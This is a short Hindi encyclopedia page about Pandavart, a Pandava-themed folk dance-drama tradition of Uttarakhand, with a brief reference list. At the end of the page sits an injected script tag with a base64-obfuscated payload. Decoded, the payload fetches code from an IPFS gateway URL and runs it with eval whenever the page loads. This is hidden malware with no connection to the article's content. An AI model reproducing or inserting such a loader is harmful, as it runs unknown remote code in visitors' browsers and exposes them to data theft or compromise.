पंडावर्त

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

पंडावर्त उत्तराखंड की लोक नृत्य शैलियों में से एक है।

  • पांडवों से जुड़ी घटनाओं पर आधारित पंडावर्त शैली के लोक नृत्य वास्तव में नृत्य नाटिका के रूप में प्रस्तुत किए जाते हैं।
  • ये लोक नृत्य 20 लोक नाट्यों में 32 तालों और सौ अलग-अलग स्वर लिपि में आबद्ध होते हैं।[1]
  • पांडव नृत्य पांच से लेकर नौ दिन तक का हो सकता है, जिसमें कई पात्र होते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. उत्तराखंड के लोक नृत्यों की है अलग पहचान (हिंदी) jagran.com। अभिगमन तिथि: 23 नवंबर, 2021।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>